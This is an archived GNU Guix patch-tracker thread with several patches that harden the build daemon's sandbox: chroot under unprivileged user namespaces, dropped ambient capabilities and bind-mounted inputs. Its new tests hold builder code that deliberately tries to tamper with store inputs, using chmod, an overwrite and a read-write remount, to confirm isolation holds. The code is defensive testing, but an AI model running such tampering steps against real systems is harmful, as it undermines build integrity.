bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 13 Feb 2025 12:13:47 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Thu Feb 13 07:13:47 2025
Received: from localhost ([127.0.0.1]:41134 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tiY6E-0003eE-PO
	for submit <at> debbugs.gnu.org; Thu, 13 Feb 2025 07:13:47 -0500
Received: from eggs.gnu.org ([2001:470:142:3::10]:51220)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tiY61-0003cM-Jl
 for 75810 <at> debbugs.gnu.org; Thu, 13 Feb 2025 07:13:37 -0500
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1tiY5w-0001Cb-9l; Thu, 13 Feb 2025 07:13:28 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:References:In-Reply-To:Date:Subject:To:
 From; bh=a5JtM26SxyhofCBFMp0yoAhLEcbZEpHKDsd7swN2muU=; b=OSxRTznh/gM3SjY+6BWG
 yP2Ib2pQ2zagVzkvjFk+LHc/J+azdFmsxcSHvnGgzSQOkGEiEUSIglGCkBO8AhGr4GkyVYW7XmC0v
 pdMzjoOZUPiZBUbvkIXP1V6Ztl7Q4XbKKLgVrH7hmUdigvuWNRE7tDc8p6TKRfS5MbSThYiljAkI5
 qPW7eu/lQrJdp0zcEOvC9nCQCvTam2nn8AffU1/MSr7j1D7LqhHbi+vSjb/Qy2J/iV4+B/RFxq/Dl
 UE7T9q6AVnkPOkNjdpLpxiUmfCiaVbsClSQsemFjrWD4G+QPwCT5xA2hzZIftrjYwXnCCOwXCtI62
 2qG1hlVR07WoTA==;
From: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
To: 75810 <at> debbugs.gnu.org
Subject: [PATCH v2 5/9] DRAFT tests: Run in a chroot and unprivileged user
 namespaces.
Date: Thu, 13 Feb 2025 13:13:08 +0100
Message-ID: <913c41825df54b9c7d1fbad1fb1e7e9f48bd0d13.1739448513.git.ludo@HIDDEN>
X-Mailer: git-send-email 2.48.1
In-Reply-To: <cover.1739448513.git.ludo@HIDDEN>
References: <cover.1739448513.git.ludo@HIDDEN>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Spam-Score: -2.3 (--)
X-Debbugs-Envelope-To: 75810
Cc: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -3.3 (---)

DRAFT:

  - Double-check the test suite.

* build-aux/test-env.in: Pass ‘--disable-chroot’ only when unprivileged
user namespace support is lacking.
* tests/store.scm ("build-things, check mode"): Use ‘gettimeofday’
rather than a shared file as a source of entropy.
("isolated environment", "inputs are read-only")
("inputs cannot be remounted read-write"): New tests.

Change-Id: Iedb816ef548c77799e5b2f9b6a3b7510ad19ec2a
---
 build-aux/test-env.in |  14 +++-
 tests/store.scm       | 144 ++++++++++++++++++++++++++++++++----------
 2 files changed, 121 insertions(+), 37 deletions(-)

diff --git a/build-aux/test-env.in b/build-aux/test-env.in
index 9caa29da581..5626152b346 100644
--- a/build-aux/test-env.in
+++ b/build-aux/test-env.in
@@ -1,7 +1,7 @@
 #!/bin/sh
 
 # GNU Guix --- Functional package management for GNU
-# Copyright © 2012, 2013, 2014, 2015, 2016, 2017, 2018, 2019, 2021 Ludovic Courtès <ludo@HIDDEN>
+# Copyright © 2012-2019, 2021, 2025 Ludovic Courtès <ludo@HIDDEN>
 #
 # This file is part of GNU Guix.
 #
@@ -102,10 +102,20 @@ then
     rm -rf "$GUIX_STATE_DIRECTORY/daemon-socket"
     mkdir -m 0700 "$GUIX_STATE_DIRECTORY/daemon-socket"
 
+    # If unprivileged user namespaces are not supported, pass
+    # '--disable-chroot'.
+    if [ ! -f /proc/sys/kernel/unprivileged_userns_clone ] \
+       || [ "$(cat /proc/sys/kernel/unprivileged_userns_clone)" -eq 1 ]; then
+	extra_options=""
+    else
+	extra_options="--disable-chroot"
+    fi
+
     # Launch the daemon without chroot support because is may be
     # unavailable, for instance if we're not running as root.
     "@abs_top_builddir@/pre-inst-env"				\
-	"@abs_top_builddir@/guix-daemon" --disable-chroot	\
+	"@abs_top_builddir@/guix-daemon"			\
+        $extra_options						\
 	--substitute-urls="$GUIX_BINARY_SUBSTITUTE_URL" &
 
     daemon_pid=$!
diff --git a/tests/store.scm b/tests/store.scm
index 45948f4f433..cf19cf91211 100644
--- a/tests/store.scm
+++ b/tests/store.scm
@@ -1,5 +1,5 @@
 ;;; GNU Guix --- Functional package management for GNU
-;;; Copyright © 2012-2021, 2023 Ludovic Courtès <ludo@HIDDEN>
+;;; Copyright © 2012-2021, 2023, 2025 Ludovic Courtès <ludo@HIDDEN>
 ;;;
 ;;; This file is part of GNU Guix.
 ;;;
@@ -28,8 +28,12 @@ (define-module (test-store)
   #:use-module (guix base32)
   #:use-module (guix packages)
   #:use-module (guix derivations)
+  #:use-module ((guix modules)
+                #:select (source-module-closure))
   #:use-module (guix serialization)
   #:use-module (guix build utils)
+  #:use-module ((gnu build linux-container)
+                #:select (unprivileged-user-namespace-supported?))
   #:use-module (guix gexp)
   #:use-module (gnu packages)
   #:use-module (gnu packages bootstrap)
@@ -391,6 +395,85 @@ (define %shell
          (equal? (valid-derivers %store o)
                  (list (derivation-file-name d))))))
 
+(unless (unprivileged-user-namespace-supported?)
+  (test-skip 1))
+(test-equal "isolated environment"
+  (string-join (append
+                '("PID: 1" "UID: 30001")
+                (delete-duplicates
+                 (sort (list "/dev" "/tmp" "/proc" "/etc"
+                             (match (string-tokenize (%store-prefix)
+                                                     (char-set-complement
+                                                      (char-set #\/)))
+                               ((top _ ...) (string-append "/" top))))
+                       string<?))
+                '("/etc/group" "/etc/hosts" "/etc/passwd")))
+  (let* ((b (add-text-to-store %store "build.sh"
+                               "echo -n PID: $$ UID: $UID /* /etc/* > $out"))
+         (s (add-to-store %store "bash" #t "sha256"
+                          (search-bootstrap-binary "bash"
+                                                   (%current-system))))
+         (d (derivation %store "the-thing"
+                        s `("-e" ,b)
+                        #:env-vars `(("foo" . ,(random-text)))
+                        #:sources (list b s)))
+         (o (derivation->output-path d)))
+    (and (build-derivations %store (list d))
+         (call-with-input-file o get-string-all))))
+
+(unless (unprivileged-user-namespace-supported?)
+  (test-skip 1))
+(test-equal "inputs are read-only"
+  "All good!"
+  (let* ((input (plain-file (string-append "might-be-tampered-with-"
+                                           (number->string
+                                            (car (gettimeofday))
+                                            16))
+                            "All good!"))
+         (drv
+          (run-with-store %store
+            (gexp->derivation
+             "attempt-to-remount-input-read-write"
+             (with-imported-modules (source-module-closure
+                                     '((guix build syscalls)))
+               #~(begin
+                   (use-modules (guix build syscalls))
+
+                   (let ((input #$input))
+                     (chmod input #o666)
+                     (call-with-output-file input
+                       (lambda (port)
+                         (display "BAD!" port)))
+                     (mkdir #$output))))))))
+    (and (guard (c ((store-protocol-error? c) #t))
+           (build-derivations %store (list drv)))
+         (call-with-input-file (run-with-store %store
+                                 (lower-object input))
+           get-string-all))))
+
+(unless (unprivileged-user-namespace-supported?)
+  (test-skip 1))
+(test-assert "inputs cannot be remounted read-write"
+  (let ((drv
+         (run-with-store %store
+           (gexp->derivation
+            "attempt-to-remount-input-read-write"
+            (with-imported-modules (source-module-closure
+                                    '((guix build syscalls)))
+              #~(begin
+                  (use-modules (guix build syscalls))
+
+                  (let ((input #$(plain-file "input-that-might-be-tampered-with"
+                                             "All good!")))
+                    (mount "none" input "none" (logior MS_BIND MS_REMOUNT))
+                    (call-with-output-file input
+                      (lambda (port)
+                        (display "BAD!" port)))
+                    (mkdir #$output))))))))
+    (guard (c ((store-protocol-error? c) #t))
+      (build-derivations %store (list drv))
+      #f)))
+
 (test-equal "with-build-handler"
   'success
   (let* ((b  (add-text-to-store %store "build" "echo $foo > $out" '()))
@@ -1333,40 +1416,31 @@ (define %shell
 
 (test-assert "build-things, check mode"
   (with-store store
-    (call-with-temporary-output-file
-     (lambda (entropy entropy-port)
-       (write (random-text) entropy-port)
-       (force-output entropy-port)
-       (let* ((drv  (build-expression->derivation
-                     store "non-deterministic"
-                     `(begin
-                        (use-modules (rnrs io ports))
-                        (let ((out (assoc-ref %outputs "out")))
-                          (call-with-output-file out
-                            (lambda (port)
-                              ;; Rely on the fact that tests do not use the
-                              ;; chroot, and thus ENTROPY is readable.
-                              (display (call-with-input-file ,entropy
-                                         get-string-all)
-                                       port)))
-                          #t))
-                     #:guile-for-build
-                     (package-derivation store %bootstrap-guile (%current-system))))
-              (file (derivation->output-path drv)))
-         (and (build-things store (list (derivation-file-name drv)))
-              (begin
-                (write (random-text) entropy-port)
-                (force-output entropy-port)
-                (guard (c ((store-protocol-error? c)
-                           (pk 'determinism-exception c)
-                           (and (not (zero? (store-protocol-error-status c)))
-                                (string-contains (store-protocol-error-message c)
-                                                 "deterministic"))))
-                  ;; This one will produce a different result.  Since we're in
-                  ;; 'check' mode, this must fail.
-                  (build-things store (list (derivation-file-name drv))
-                                (build-mode check))
-                  #f))))))))
+    (let* ((drv  (build-expression->derivation
+                  store "non-deterministic"
+                  `(begin
+                     (use-modules (rnrs io ports))
+                     (let ((out (assoc-ref %outputs "out")))
+                       (call-with-output-file out
+                         (lambda (port)
+                           (let ((now (gettimeofday)))
+                             (display (+ (car now) (cdr now)) port))))
+                       #t))
+                  #:guile-for-build
+                  (package-derivation store %bootstrap-guile (%current-system))))
+           (file (derivation->output-path drv)))
+      (and (build-things store (list (derivation-file-name drv)))
+           (begin
+             (guard (c ((store-protocol-error? c)
+                        (pk 'determinism-exception c)
+                        (and (not (zero? (store-protocol-error-status c)))
+                             (string-contains (store-protocol-error-message c)
+                                              "deterministic"))))
+               ;; This one will produce a different result.  Since we're in
+               ;; 'check' mode, this must fail.
+               (build-things store (list (derivation-file-name drv))
+                             (build-mode check))
+               #f))))))
 
 (test-assert "build-succeeded trace in check mode"
   (string-contains
-- 
2.48.1





Information forwarded to guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 13 Feb 2025 12:13:46 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Thu Feb 13 07:13:46 2025
Received: from localhost ([127.0.0.1]:41132 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tiY6E-0003e4-Ai
	for submit <at> debbugs.gnu.org; Thu, 13 Feb 2025 07:13:46 -0500
Received: from eggs.gnu.org ([2001:470:142:3::10]:41562)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tiY63-0003cc-L3
 for 75810 <at> debbugs.gnu.org; Thu, 13 Feb 2025 07:13:37 -0500
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1tiY5y-0001D3-Aa; Thu, 13 Feb 2025 07:13:30 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:References:In-Reply-To:Date:Subject:To:
 From; bh=pd3jEQEVWdyi/LNttJNlAO+MmH58xfjNxu8WkPG+5kM=; b=lyniOA6dfNo4JP+NNQ8e
 N9QkR5DkhTP20jWd1mhD1JcTaERQEu9V1xqPg5paD7vHFQotpXHjPQbrZpi5UYOJsGAgt3G8bESCa
 rxBSfgB8AkEbyOtx7agNw3z1c2Jln3ZxtZfrQc+mHniMzNKnzAnsjFJMjyzCH1m838tTdXVJsHJFj
 ojilptPNCvglWaNR/NALcnlsI9lwfmCDKM5BDvWUnJb0JWLq5ZR54hy7Gco5FU+Q98ggEerQ86kVT
 azIDvv0drEWHIG+dAo74b007uTZz//iRv42as6bUIFj2T6K6WnSweP0pznTpoUdJ4UTlzwG4zXH1P
 VCVkLbQccmcA6A==;
From: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
To: 75810 <at> debbugs.gnu.org
Subject: [PATCH v2 7/9] daemon: Drop Linux ambient capabilities before
 executing builder.
Date: Thu, 13 Feb 2025 13:13:10 +0100
Message-ID: <06b47bf0dcee78ac73405afe118f7ed7f0a374fa.1739448513.git.ludo@HIDDEN>
X-Mailer: git-send-email 2.48.1
In-Reply-To: <cover.1739448513.git.ludo@HIDDEN>
References: <cover.1739448513.git.ludo@HIDDEN>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Spam-Score: -2.3 (--)
X-Debbugs-Envelope-To: 75810
Cc: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -3.3 (---)

* config-daemon.ac: Check for <sys/prctl.h>.
* nix/libstore/build.cc (DerivationGoal::runChild): When ‘useChroot’ is
true, call ‘prctl’ to drop all ambient capabilities.

Change-Id: If34637fc508e5fb6d278167f5df7802fc595284f
---
 config-daemon.ac      | 2 +-
 nix/libstore/build.cc | 9 +++++++++
 2 files changed, 10 insertions(+), 1 deletion(-)

diff --git a/config-daemon.ac b/config-daemon.ac
index 4e949bc88a3..35d9c8cd56b 100644
--- a/config-daemon.ac
+++ b/config-daemon.ac
@@ -79,7 +79,7 @@ if test "x$guix_build_daemon" = "xyes"; then
   dnl Chroot support.
   AC_CHECK_FUNCS([chroot unshare])
   AC_CHECK_HEADERS([sched.h sys/param.h sys/mount.h sys/syscall.h \
-    linux/close_range.h])
+    linux/close_range.h sys/prctl.h])
 
   if test "x$ac_cv_func_chroot" != "xyes"; then
     AC_MSG_ERROR(['chroot' function missing, bailing out])
diff --git a/nix/libstore/build.cc b/nix/libstore/build.cc
index 18dd27460b7..4280b8abff8 100644
--- a/nix/libstore/build.cc
+++ b/nix/libstore/build.cc
@@ -50,6 +50,9 @@
 #if HAVE_SCHED_H
 #include <sched.h>
 #endif
+#if HAVE_SYS_PRCTL_H
+#include <sys/prctl.h>
+#endif
 
 
 #define CHROOT_ENABLED HAVE_CHROOT && HAVE_SYS_MOUNT_H && defined(MS_BIND) && defined(MS_PRIVATE)
@@ -2059,6 +2062,12 @@ void DerivationGoal::runChild()
 
 #if CHROOT_ENABLED
         if (useChroot) {
+# if HAVE_SYS_PRCTL_H
+	    /* Drop ambient capabilities such as CAP_CHOWN that might have
+	       been granted when starting guix-daemon.  */
+	    prctl(PR_CAP_AMBIENT, PR_CAP_AMBIENT_CLEAR_ALL, 0, 0, 0);
+# endif
+
 	    if (!fixedOutput) {
 		/* Initialise the loopback interface. */
 		AutoCloseFD fd(socket(PF_INET, SOCK_DGRAM, IPPROTO_IP));
-- 
2.48.1





Information forwarded to guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 13 Feb 2025 12:13:46 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Thu Feb 13 07:13:46 2025
Received: from localhost ([127.0.0.1]:41130 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tiY6D-0003dx-Va
	for submit <at> debbugs.gnu.org; Thu, 13 Feb 2025 07:13:46 -0500
Received: from eggs.gnu.org ([2001:470:142:3::10]:51242)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tiY62-0003cU-Ky
 for 75810 <at> debbugs.gnu.org; Thu, 13 Feb 2025 07:13:36 -0500
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1tiY5x-0001Cm-B1; Thu, 13 Feb 2025 07:13:29 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:References:In-Reply-To:Date:Subject:To:
 From; bh=Zsh2zvgPChPdygWDGttbjWAWpTHmsPY3r3V/6RFHAxg=; b=fMn3QqCxdzRdQFsZTqUX
 zd/SpdmJNbIFmnsu7WATyaUFOTRr2YFsXgytj6rUDsZTcLaWt8EOr8B5LTrhkXl/HQAnN4Eu7KH99
 hUkCOL9/zrRv6ciGJL5iXofAZT2bnllch/SmbsCalac1IDt2JQVnvN9SQsKh+8YqIOhret4B4wSyT
 yPhON0UyrR7yWH0sxESN9Hxl5LQTPkgFNy6d6eJrThe1VdH/eAc7cuPfgT4G6nQVrN6WgAuPTl/+D
 Bdi6+fSeI/dC6qvrRHY+ynSj/UkGnqj3g/ERVrj/SqDNnBXqGyTaR16hN57HXX3Nz0ZfI0Y0P0tM5
 YQqXv7no1lB5pA==;
From: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
To: 75810 <at> debbugs.gnu.org
Subject: [PATCH v2 6/9] daemon: Create /var/guix/profiles/per-user
 unconditionally.
Date: Thu, 13 Feb 2025 13:13:09 +0100
Message-ID: <d6e5382ab3c33c467cb753969ca574561e90d8de.1739448513.git.ludo@HIDDEN>
X-Mailer: git-send-email 2.48.1
In-Reply-To: <cover.1739448513.git.ludo@HIDDEN>
References: <cover.1739448513.git.ludo@HIDDEN>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Spam-Score: -2.3 (--)
X-Debbugs-Envelope-To: 75810
Cc: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -3.3 (---)

* nix/libstore/local-store.cc (LocalStore::LocalStore): Create
‘perUserDir’ unconditionally.

Change-Id: I5188320f9630a81d16f79212d0fffabd55d94abe
---
 nix/libstore/local-store.cc | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/nix/libstore/local-store.cc b/nix/libstore/local-store.cc
index 4308264a4f3..63846695194 100644
--- a/nix/libstore/local-store.cc
+++ b/nix/libstore/local-store.cc
@@ -79,12 +79,12 @@ LocalStore::LocalStore(bool reserveSpace)
         createSymlink(profilesDir, gcRootsDir + "/profiles");
     }
 
-    /* Optionally, create directories and set permissions for a
-       multi-user install. */
+    Path perUserDir = profilesDir + "/per-user";
+    createDirs(perUserDir);
+
+    /* Optionally, set permissions for a multi-user install.  */
     if (getuid() == 0 && settings.buildUsersGroup != "") {
 
-        Path perUserDir = profilesDir + "/per-user";
-        createDirs(perUserDir);
         if (chmod(perUserDir.c_str(), 0755) == -1)
             throw SysError(format("could not set permissions on '%1%' to 755")
                            % perUserDir);
-- 
2.48.1





Information forwarded to guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 13 Feb 2025 12:13:46 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Thu Feb 13 07:13:46 2025
Received: from localhost ([127.0.0.1]:41128 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tiY6A-0003dr-2R
	for submit <at> debbugs.gnu.org; Thu, 13 Feb 2025 07:13:45 -0500
Received: from eggs.gnu.org ([2001:470:142:3::10]:51204)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tiY5z-0003cI-TK
 for 75810 <at> debbugs.gnu.org; Thu, 13 Feb 2025 07:13:35 -0500
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1tiY5t-0001Be-0u; Thu, 13 Feb 2025 07:13:25 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:References:In-Reply-To:Date:Subject:To:
 From; bh=G7Jx1/74uyahpmNN6NOOyHz1Zj53iERfANavhA6dHdE=; b=k6urEGcSlNkV/klITo0O
 5R6XmUCLsMQMEnezImNYpeuRtW7qhd/d2+gozWagQFj5nubRHZRZ6nYvcWw622KQIetyN/zbvhGCw
 0UEOo75yzg40xfZqAfgV9iekpmESAZkG6ElAkVy6IqQvYcXaB8k0WPMbflY79vLTyLyUvUaJhJznp
 TwAfUpHI4/9VX4itswxYIS1pNwOP4G5vBb1k81YxYDg8UnkGpdjHsAfEPfUM5eTTl/LF78zOx2KsJ
 wH5GcdOoEFjfNf4D4zu4HrM0XjdRI07CuN9Hn+Z5NtDOIxHslEyC52jjtq6XitIEDxaOSXeTXNfGc
 H7naFnX0R+LWJA==;
From: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
To: 75810 <at> debbugs.gnu.org
Subject: [PATCH v2 2/9] daemon: Bind-mount all the inputs,
 not just directories.
Date: Thu, 13 Feb 2025 13:13:05 +0100
Message-ID: <1a481f7f9df95b1c76e69c5e923fa30098e33cbe.1739448513.git.ludo@HIDDEN>
X-Mailer: git-send-email 2.48.1
In-Reply-To: <cover.1739448513.git.ludo@HIDDEN>
References: <cover.1739448513.git.ludo@HIDDEN>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Spam-Score: -0.3 (/)
X-Debbugs-Envelope-To: 75810
Cc: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>,
 Reepca Russelstein <reepca@HIDDEN>
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -1.3 (-)

* nix/libstore/build.cc (DerivationGoal::startBuilder): Add all of
‘inputPaths’ to ‘dirsInChroot’ instead of hard-linking regular files.

Reported-by: Reepca Russelstein <reepca@HIDDEN>
Change-Id: I070987f92d73f187f7826a975bee9ee309d67f56
---
 nix/libstore/build.cc | 27 ++-------------------------
 1 file changed, 2 insertions(+), 25 deletions(-)

diff --git a/nix/libstore/build.cc b/nix/libstore/build.cc
index edd01bab34d..f4cd2131c84 100644
--- a/nix/libstore/build.cc
+++ b/nix/libstore/build.cc
@@ -1850,9 +1850,7 @@ void DerivationGoal::startBuilder()
 
         /* Make the closure of the inputs available in the chroot,
            rather than the whole store.  This prevents any access
-           to undeclared dependencies.  Directories are bind-mounted,
-           while other inputs are hard-linked (since only directories
-           can be bind-mounted).  !!! As an extra security
+           to undeclared dependencies.  !!! As an extra security
            precaution, make the fake store only writable by the
            build user. */
         Path chrootStoreDir = chrootRootDir + settings.nixStore;
@@ -1863,28 +1861,7 @@ void DerivationGoal::startBuilder()
             throw SysError(format("cannot change ownership of ‘%1%’") % chrootStoreDir);
 
         foreach (PathSet::iterator, i, inputPaths) {
-            struct stat st;
-            if (lstat(i->c_str(), &st))
-                throw SysError(format("getting attributes of path `%1%'") % *i);
-            if (S_ISDIR(st.st_mode))
-                dirsInChroot[*i] = *i;
-            else {
-                Path p = chrootRootDir + *i;
-                if (link(i->c_str(), p.c_str()) == -1) {
-                    /* Hard-linking fails if we exceed the maximum
-                       link count on a file (e.g. 32000 of ext3),
-                       which is quite possible after a `nix-store
-                       --optimise'. */
-                    if (errno != EMLINK)
-                        throw SysError(format("linking `%1%' to `%2%'") % p % *i);
-                    StringSink sink;
-                    dumpPath(*i, sink);
-                    StringSource source(sink.s);
-                    restorePath(p, source);
-                }
-
-                regularInputPaths.insert(*i);
-            }
+	    dirsInChroot[*i] = *i;
         }
 
         /* If we're repairing, checking or rebuilding part of a
-- 
2.48.1





Information forwarded to guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 13 Feb 2025 12:13:39 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Thu Feb 13 07:13:39 2025
Received: from localhost ([127.0.0.1]:41124 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tiY65-0003dI-RU
	for submit <at> debbugs.gnu.org; Thu, 13 Feb 2025 07:13:38 -0500
Received: from eggs.gnu.org ([2001:470:142:3::10]:51198)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tiY5x-0003cE-6y
 for 75810 <at> debbugs.gnu.org; Thu, 13 Feb 2025 07:13:29 -0500
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1tiY5r-0001BO-Ru; Thu, 13 Feb 2025 07:13:23 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:References:In-Reply-To:Date:Subject:To:
 From; bh=0izMrOHlIq4NgLJJUeAlULEe8K+llpxfq6yctCHxero=; b=c2yrriY4hF1VWc6VKtTm
